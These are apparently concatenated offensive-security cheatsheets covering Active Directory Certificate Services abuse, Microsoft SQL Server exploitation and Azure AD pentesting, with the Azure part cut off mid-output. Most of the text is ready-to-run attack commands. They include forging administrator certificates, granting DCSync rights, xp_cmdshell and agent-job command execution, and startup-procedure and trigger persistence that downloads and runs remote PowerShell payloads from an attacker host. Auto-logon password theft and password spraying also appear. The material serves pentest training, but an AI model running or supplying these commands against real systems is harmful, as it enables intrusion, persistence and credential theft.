used: ```powershell ./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --SubjectAltName administrator@contoso.local --NewCertPath ./admin.pfx --NewCertPassword 'Password123!' ``` #### Linux With admin prives on the CA server, Certipy can retrieve the CA certificate and its key: ```bash certipy ca -backup -u 'user@contoso.local' -p 'password' -ca 'ca_name' ``` Then Certipy can forge the new certificate: ```bash certipy forge -ca-pfx ca.pfx -upn administrator@contoso.local -subject 'CN=Administrator,CN=Users,DC=CONTOSO,DC=LOCAL' ``` ### Trusting Rogue CA Certificates - DPERSIST2 The principle is to generate a rogue self-signed CA certificate and add it to the `NTAuthCertificates` object. Then any forged certificates signed by this rogue certificate will be valid. With sufficient privileges on the `NTAuthCertificates` AD object (Enterprise Admins or Domain Admins/Administrator in the root domain), the new certificate can be pushed like this: ```powershell certutil.exe -dspublish -f C:\CERT.crt NTAuthCA ``` ### Malicious Misconfiguration - DPERSIST3 Similarly to the **ESC5**, this point covers all the interesting rights that can be set (via DACL for example) to achieve a persistence. For example, setting a `WriteOwner` right on the `User` template for the attacker can be interesting. Other targets are worthwhile: * CA server’s AD computer object * The CA server’s RPC/DCOM server * Any descendant AD object or container in the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) * AD groups delegated rights to control AD CS by default or by the current organization (e.g., the built-in Cert Publishers group and any of its members) ## Pass-The-Certificate ### PKINIT With a certificate valid for authentication, it is possible to request a TGT via the **PKINIT** protocol. #### Windows ```powershell # Information about a cert file certutil -v -dump admin.pfx # From a Base64 PFX Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show ``` #### Linux ```bash # Authentication with PFX/P12 file certipy auth -pfx 'user.pfx' # PEM certificate (file) + PEM private key (file) gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # PFX certificate (file) + password (string, optionnal) gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" ``` ### Schannel If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with `PassTheCert`. #### Windows * Grant DCSync rights to an user ```powershell ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid #To restore ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt ``` * Add computer account ```powershell ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password ``` * RBCD ```powershell ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid ``` * Reset password ```powershell ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password ``` #### Linux For RBCD attack with passthecert.py ```bash #Create a new computer account python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP' #Add delegation rights python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP' -port 389 -delegate-to -delegate-from TARGET$ #Impersonation is now possible ``` With Certipy ```bash certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell ``` ## References * [SpecterOps blog](https://posts.specterops.io/certified-pre-owned-d95910965cd2) * [SpecterOps whitepaper](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) * [ESC13 article](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53) * [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs) * [Snovvcrash](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse) * [Certipy2.0 blog](https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6) * [Certipy4.0 blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) * [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate) * [HTTP418 Infosec](https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks) * [Weak ACLs](https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates) * [Sploutchy's ESC11 attack](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/) * [hajo's ESC12 attack](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm) * [Certipy](https://github.com/ly4k/Certipy) * [Certify](https://github.com/GhostPack/Certify) # MSSQL

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.

If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : @BlWasp_

The idea of this cheatsheet is to provide some commands and scripts with titles without lots of explains. If you need more explains about these attacks you can, for example, buy the MSSQL course from Pentester Academy. More references will be specified at the end.

Enumeration

Basic SQL Server queries for DB enumeration

#View all db in an instance
Get-SQLQuery -Instance <instance> -Query "SELECT name FROM sys.databases"

#View all tables
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM  <database>.INFORMATION_SCHEMA.TABLES" 

#View all cols in all tables in a db
Get-SQLQuery -Instance <instance> -Query "SELECT * FROM <database>.INFORMATION_SCHEMA.columns"

#View data in table
Get-SQLQuery -Instance <instance> -Query "USE <database>;SELECT * FROM <table>"

Works also with Get-SQLServerLinkCrawl

Enumerate SPN / Find MSSQL servers

#TCP/UDP port scan
Get-SQLInstanceScanUDP

#DB in the domain
Get-SQLInstanceDomain

#Local DB
Get-SQLInstanceLocal

Gather Information

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Check Access / Login brute force

Check access

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose

Enumerate database users

Can be done with a Public role

Get-SQLFuzzServerLogin -Instance <instance> -Verbose

Check impersonation rights

Invoke-SQLAudit -Verbose -Instance instance.domain.local

Enumerate SQL Server links

Get-SQLServerLinkCrawl -Instance <instance> -Verbose
#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')

Enumerate domain users

Get-SQLFuzzDomainAccount -Instance <instance.domain.local> -StartId 500 -EndId 2000 -Verbose

Commands execution

xp_cmdshell

  • On the target server, either xp_cmdshell should be already enabled; or
  • If rpcout is enabled (disabled by default), xp_cmdshell can be enabled using:
EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "<instance>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<instance>"
  • If rpcout is disabled but we are sa, it can be enabled with EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';

Commands execution through DB links:

Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell 'whoami'"
Get-SQLServerLinkCrawl -Instance <instance> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://attacker_IP/Invoke-HelloWorld.ps1'')"'

#Or
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

With PowerUpSQL:

Invoke-SQLOSCmd -Username sa -Password <password> -Instance <instance> -Command whoami

Extended Stored Procedure

  • A DLL which acts as an extension to SQL server. The DLL needs to be on the disk.
  • sysadmin privileges are required to register each extended stored procedure inside a DLL.
  • Executes with the privileges of the service account and runs in the process space of SQL Server.
  • The DLL can have any file extension and can also be loaded from UNC path or Webdav.
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "sp_addextendedproc 'xp_calc', '\\<distant_server>\fileserver\xp_calc.dll'"
Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "EXEC xp_calc"

List existing extended procedure

Get-SQLStoredProcedureXP -Instance <instance> -Verbose

CLR Assemblies

  • CLR (Common Language Runtime) is a run-time environment provided by the .NET framework. SQL Server supports CLR integration which allows writing stored procedures and other things by importing a DLL.
  • CLR integration is off by default and sysadmin privileges are required by-default to use it. Create assembly, Alter assembly or DDL_Admin role can also use it.
  • The execution takes place with privileges of the service account.

In SQL

use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\\\<distant_server>\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME 
[my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

-- Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

With PowerUpSQL

#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop

#Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose

#List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose

Ole Automation Procedures

  • System stored procedures which allow use of COM objects using SQL queries.
  • Turned off by default. syadmin privileges are required to enable it.
  • Execute privileges on sp_OACreate and sp_OAMethod can also be used for execution.
  • The execution takes place with privileges of the service account.
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

Agent Jobs

  • SQL Server Agent is a Windows service that executes scheduled tasks or jobs.
  • A job can be scheduled, executed in response to alerts or by using sp_start_job stored procedure.
  • Needs sysadmin role to create a job.
  • Non-sysadmin users with the SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole fixed database roles in the msdb database can also be used.
  • The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.

In SQL

-- PowerShell
USE msdb
EXEC dbo.sp_add_job @job_name = N'PSJob'
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
-- EXEC dbo.sp_delete_job @job_name = N'PSJob'

-- CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob' 
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'

With PowerUpSQL

Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript

External Scripts

R script

sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- Grab Net-NTLM hash
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Or
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'

Python script

EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

With PowerUpSQL

#R
Invoke-SQLOSCmdR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

#Python
Invoke-SQLOSCmdPython -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose

Privilege Escalation

Public to sysadmin - Impersonation

Can be achieved with User Impersonation, with Execute AS

Check impersonation rights

Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <instance> -Verbose

Impersonate an user

Invoke-SQLAuditPrivImpersonateLogin -Instance <instance> -Exploit -Verbose

Public to sysadmin - TRUSTWORTHY Database

  • A database property (is_trustworthy_on) used to indicate whether a SQL Server instance trusts a database and its contents.
  • When TRUSTWORTHY is OFF, impersonated users (by using EXECUTE AS) will only have database-scope permissions but when TRUSTWORTHY is turned ON impersonated users can perform actions with server level permissions. This allows writing procedures that can execute code which uses server level permission.
  • If the TRUSTWORTHY setting is set to ON, and if a sysadmin (not necessarily sa) is owner of the database, it is possible for the database owner (a user with db_owner) to elevate privileges to sysadmin.

Look for TRUSTWORTHY

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY 
from sys.databases

With PowerUpSQL

Invoke-SQLAudit -Instance <instance.domain.local> -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance <instance> -Verbose

Look for db_owner role

use <database>
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM 
RIGHT OUTER JOIN sys.database_principals AS DP1 
ON DRM.role_principal_id = DP1.principal_id 
LEFT OUTER JOIN sys.database_principals AS DP2 
ON DRM.member_principal_id = DP2.principal_id 
WHERE DP1.type = 'R'
ORDER BY DP1.name; 

EXECUTE AS

EXECUTE AS USER = 'dbo'
SELECT system_user
EXEC sp_addsrvrolemember 'domain\user','sysadmin'

Public to Service Account

UNC path injection

Like this

Invoke-SQLUncPathInjection -Verbose -CaptureIp <distant_server>

Service Account to SYSTEM

In the Potato family, I want them all

Persistence

Startup Stored Procedures

Procedures that restart each time the SQL service is restarted

-- Create a stored procedure
USE master
GO
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

-- Mark the stored procedure for automatic executio
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload

-- List stored procedures marked for automatic execution:
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

Triggers

DDL Triggers

CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

DML Triggers

USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

Logon Triggers

CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;

Registry

Using xp_regread (as sysadmin) with PowerUpSQL. The below command reads auto logon password from registry.

Get-SQLRecoverPwAutoLogon -Username sa -Password <password> -Instance <instance> -Verbose

References

# Azure AD

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.

If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : @BlWasp_

Simple cheatsheet for Azure AD pentest. Same idea as my previous cheatsheet : title, commands, minimalist explains. It is oriented for peoples that know what they want to do, but they have forgotten the commands. Mainly inspired from the **[CARTP course](https://bootcamps.pentesteracademy.com/course/ad-azure-mar-22)**. I'm a full beginner in the Azure AD domain, so this page will be updated regularly. ## Misc ### Terminology Basic Azure AD terminologies * **Tenant** - An instance of Azure AD and represents a single organization. * **Azure AD Directory** - Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources. * **Subscriptions** - It is used to pay for services. There can be multiple subscriptions in a Directory. * **Core Domain** - The initial domain name `.onmicrosoft.com` is the core domain. It is possible to define custom domain names too. #### Azure AD Organisation ``` Management groups -> Subscriptions -> Resource groups -> Resources -> Resource groups -> Resources -> Subscriptions -> Resource groups -> Resources ``` ### Most common attack path Most basic user owns an app -> This app runs as a **Service Principal** -> This SP has the App Role `AppRoleAssignement.ReadWrite.All` -> With this right it can grants `RoleManagement.ReadWrite.Directory` to itself -> It can grants **AAD Directory Role** -> Global Admin ## External recon ### Azure Tenant #### Name and Federation `https://login.microsoftonline.com/getuserrealm.srf?login=[USERNAME@DOMAIN]&xml=1` With **AADInternals** ```powershell Get-AADIntLoginInformation -UserName test@.onmicrosoft.com ``` #### Tenant ID `https://login.microsoftonline.com/[DOMAIN]/.well-known/openid-configuration` ```powershell Get-AADIntTenantID -Domain .onmicrosoft.com ``` #### Tenant domains ```powershell Get-AADIntTenantDomains -Domain .onmicrosoft.com ``` #### Validate Email ID `https://login.microsoftonline.com/common/GetCredentialType` #### All information ```powershell Invoke-AADIntReconAsOutsider -DomainName .onmicrosoft.com ``` ### Email IDs With `o365creeper` to check if an email ID belongs to a tenant. ```powershell C:\Python27\python.exe .\o365creeper.py -f emails.txt -o validemails.txt ``` ### Azure Services Azure services are available at specific domains and subdomains. To enumerate all the subdomains from a 'base': ```powershell Import-Module MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base -Verbose ``` ## Initial Access * Password spraying technique (really noisy) ```powershell . .\MSOLSPray.ps1 Invoke-MSOLSpray -UserList validemails.txt -Password -Verbose ``` * File Upload * SQli/SSTI/etc * OS Command Injection * Function App Abuse * Storage Account - Anonymous Access: `Invoke-EnumerateAzureBlobs -Base ` - Accessible blob can be viewed in the _storage explorer_ to retrieve sensitive data * Phishing - //TODO ## Enumeration Can be realised partially with the **AzureAD Module** by Microsoft or with the **Az PowerShell** module. First, it is necessary to connect to AzureAD ```powershell #AzureAD module Connect-AzureAD #With creds $creds = Get-Credential Connect-AzureAD -Credential $creds #Az PowerShell Connect-AzAccount ``` ### General information Current session state and current tenant details ```powershell #AzureAD module Get-AzureADCurrentSessionInfo Get-AzureADTenantDetail #Az PowerShell Get-AzContext Get-AzContext -ListAvailable ``` Enumerate accessible subscriptions, resources ```powershell Get-AzSubscription Get-AzResource ``` ### Users #### All users ```powershell #AzureAD module Get-AzureADUser -All $true | select UserPrincipalName #Az PowerShell Get-AzADUser ``` #### Specific user ```powershell #AzureAD module Get-AzureADUser -ObjectId test@.onmicrosoft.com #Az PowerShell Get-AzADUser -UserPrincipalName test@.onmicrosoft.com ``` #### RBAC role assignments ```powershell Get-AzRoleAssignment -SignInName test@.onmicrosoft.com ``` | Role | Permissions | Applies On | | ------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | | Owner |
  • Full access to all resources
  • Can manage access for other users
| All resource types | | Contributor |
  • Full access to all resources
  • Cannot manage access
| All resource types | | Reader | View all resources | All resource types | | User Access Administrator |
  • View all resources
  • Can manage access for other users
| All resource types | #### Users with specific strings in DisplayName or userPrincipalName ```powershell #AzureAD module Get-AzureADUser -SearchString "admin" Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Az PowerShell Get-AzADUser -SearchString "admin" Get-AzADUser | ?{$_.Displayname -match "admin"} ``` #### List all attributes of a user ```powershell Get-AzureADUser -ObjectId test@.onmicrosoft.com | fl * Get-AzureADUser -ObjectId test@.onmicrosoft.com | %{$_.PSObject.Properties.Name} ``` #### List all users with a specific strings in attributes ```powershell Get-AzureADUser -All $true | %{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}} ``` #### Users synced from on-prem or from Azure AD ```powershell #From on-prem Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} #From Azure AD Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} ``` #### Objects created by any user ```powershell Get-AzureADUser | Get-AzureADUserCreatedObject ``` #### Objects owned by a specific user ```powershell Get-AzureADUserOwnedObject -ObjectId test@.onmicrosoft.com ``` #### KeyVault readable by the current user ```powershell Get-AzKeyVault ``` #### Storage accounts ```powershell Get-AzStorageAccount | fl ``` ### Groups #### All groups ```powershell #AzureAD module Get-AzureADGroup -All $true #Az PowerShell Get-AzADGroup ``` #### Specific group ```powershell #AzureAD module Get-AzureADGroup -ObjectId #Az PowerShell Get-AzADGroup -ObjectId ``` #### Groups with specific strings in DisplayName ```powershell #AzureAD module Get-AzureADGroup -SearchString "admin" | fl * Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Az PowerShell Get-AzADGroup -SearchString "admin" | fl * Get-AzADGroup |?{$_.Displayname -match "admin"} ``` #### Groups that allow Dynamic membership ```powershell Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} ``` #### Groups synced from on-prem or from Azure AD ```powershell #From on-prem Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} #From Azure AD Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} ``` #### Members of a group ```powershell #AzureAD module Get-AzureADGroupMember -ObjectId #Az PowerShell Get-AzADGroupMember -ObjectId ``` #### Groups and roles where a specified user is member ```powershell Get-AzureADUser -SearchString 'test' | Get-AzureADUserMembership Get-AzureADUserMembership -ObjectId test@.onmicrosoft.com ``` ### Administrative Units #### Members of an Administrative Unit ```powershell Get-AzureADMSAdministrativeUnitMember -Id ``` #### Role scoped to an Administrative Unit ```powershell Get-AzureADMSScopedRoleMembership -Id | fl * ``` ### Roles #### All role templates ```powershell Get-AzureADDirectoryroleTemplate ``` #### All roles ```powershell Get-AzureADDirectoryRole ``` #### Users to whom roles are assigned ```powershell Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember ``` ### Devices #### All Azure joined and registered devices ```powershell Get-AzureADDevice -All $true | fl * ``` #### Device configuration object ```powershell Get-AzureADDeviceConfiguration | fl * ``` #### List Registered owners of all the devices ```powershell Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner ``` #### List Registered users of all the devices ```powershell Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser ``` #### List devices owned by a user ```powershell Get-AzureADUserOwnedDevice -ObjectId user@.onmicrosoft.com ``` #### List devices registered by a user ```powershell Get-AzureADUserRegisteredDevice -ObjectId user@.onmicrosoft.com ``` #### List devices managed using Intune ```powershell Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} ``` #### List VM where current user has at least Reader role ```powershell Get-AzVM | fl ``` ### Applications #### All application objects ```powershell #AzureAD module Get-AzureADApplication -All $true #Az PowerShell Get-AzADApplication ``` #### All App Services & Function Apps ```powershell #App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} Function Apps Get-AzFunctionApp ``` #### All details about an application ```powershell #AzureAD module Get-AzureADApplication -ObjectId | fl * #Az PowerShell Get-AzADApplication -ObjectId ``` #### Get application with a specified DisplayName ```powershell #AzureAD module Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"} #Az PowerShell Get-AzADApplication | ?{$_.DisplayName -match "app"} ``` #### Owner of an application ```powershell Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * ``` #### Apps where a User or a Group has a role ```powershell Get-AzureADUser -ObjectId user@.onmicrosoft.com | Get AzureADUserAppRoleAssignment | fl * Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * ``` ### Service Principals Service principal is the local representation for an app in a specific tenant and it is the security object that has privileges. This is the 'service account'. #### All Service Principals ```powershell #AzureAD module Get-AzureADServicePrincipal -All $true #Az PowerShell Get-AzADServicePrincipal ``` #### All details about a SP ```powershell #AzureAD module Get-AzureADServicePrincipal -ObjectId | fl * #Az PowerShell Get-AzADServicePrincipal -ObjectId ``` #### SP based on DisplayName ```powershell #AzureAD module Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} #Az PowerShell Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"} ``` #### Owner of a SP ```powershell Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalOwner |fl * ``` #### Objects owned by a SP ```powershell Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalOwnedObject ``` #### Objects created by a SP ```powershell Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalCreatedObject ``` #### Group and role memberships of a SP ```powershell Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembership |fl * Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership ``` ### ROADTools [ROADtools](https://github.com/dirkjanm/ROADtools) Enumeration using RoadRecon includes three steps * Authentication * Data Gathering * Data Exploration #### Authentication ```powershell cd C:\AzAD\Tools\ROADTools pipenv shell roadrecon auth -u test@.onmicrosoft.com -p ``` #### Gather information `roadrecon gather` #### Use the GUI Server on port 5000 `roadrecon gui` ### BloodHound / AzureHound #### Authentication and collector execution ```powershell $passwd = ConvertTo-SecureString "" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("test@.onmicrosoft.com", $passwd) Connect-AzAccount -Credential $creds Connect-AzureAD -Credential $creds . .\AzureHound.ps1 Invoke-AzureHound -Verbose ``` #### Interesting Neo4J queries * Find all users who have the Global Administrator role `MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p` * Find all paths to an Azure VM `MATCH p = (n)-[r]->(g: AZVM) RETURN p` * Find all paths to an Azure KeyVault `MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p` * Find all paths to an Azure Resource Group `MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p` * Find Owners of Azure Groups `MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p` ### Stormspotter Stormspotter creates an “attack graph” of the resources in an Azure subscription. Similar to BloodHound, but made by MS. In three different PowerShell: ```powershell #Start the backend server cd ./stormspotter/backend pipenv shell python ssbackend.pyz #Start the frontend server cd ./stormspotter/frontend/dist/spa/ quasar.cmd serve -p 9091 --history #Run the collector cd ./stormspotter/stormcollector/ pipenv shell az login -u test@.onmicrosoft.com -p python ./stormspotter/stormcollector/sscollector.pyz cli ``` Then access to the GUI on `http://localhost:9091` with Server: `bolt://localhost:7687` ## Using Azure tokens ### Request access token #### For resource manager (ARM) When already connected to a tenant, with **Az PowerShell** or **AzureAD module** ```powershell Get-AzAccessToken (Get-AzAccessToken).Token ``` #### For AAD Graph ```powershell Get-AzAccessToken -ResourceTypeName AadGraph (Get-AzAccessToken -Resource "https://graph.microsoft.com").Token ``` ### Use the access token ```powershell #Az PowerShell Connect-AzAccount -AccountId test@.onmicrosoft.com -AccessToken eyJ0eXA... #For AAD Graph Connect-AzAccount -AccountId test@.onmicrosoft.com -AccessToken eyJ0eXA... -GraphAccessToken eyJ0eXA... AzureAD module Connect-AzureAD -AccountId test@.onmicrosoft.com -AadAccessToken eyJ0eXA... ``` #### Use token with ARM API List all subscriptions ```powershell $Token = 'eyJ0eXAi..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value ``` List all resources accessible for the managed identity assigned to the app service: ```powershell $Token = 'eyJ0eXAi..' $URI = 'https://management.azure.com/subscriptions//resources?api-version=2020-10-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value ``` List allowed actions on the resource: ```powershell $Token = 'eyJ0eXAi..' $URI = 'https://management.azure.com/subscriptions//resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-version=2015-07-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value ``` #### Use token with MS Graph API List all users ```powershell $Token = 'eyJ0eXAi..' $URI = 'https://graph.microsoft.com/v1.0/users' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value ``` ## Privilege Escalation ### Automation Account * Azure's automation service that allows to automate tasks for Azure resources, on-prem infra and other cloud providers. * Supports Process Automation using Runbooks, Configuration Management (supports DSC), update management and shared resources (credentials, certificates, connections etc) for both Windows and Linux resources hosted on Azure and on-prem. To check for automation account with Azure CLI: ```powershell az automation account list #Result [ { "creationTime": "2021-03-17T14:40:05.340000+00:00", 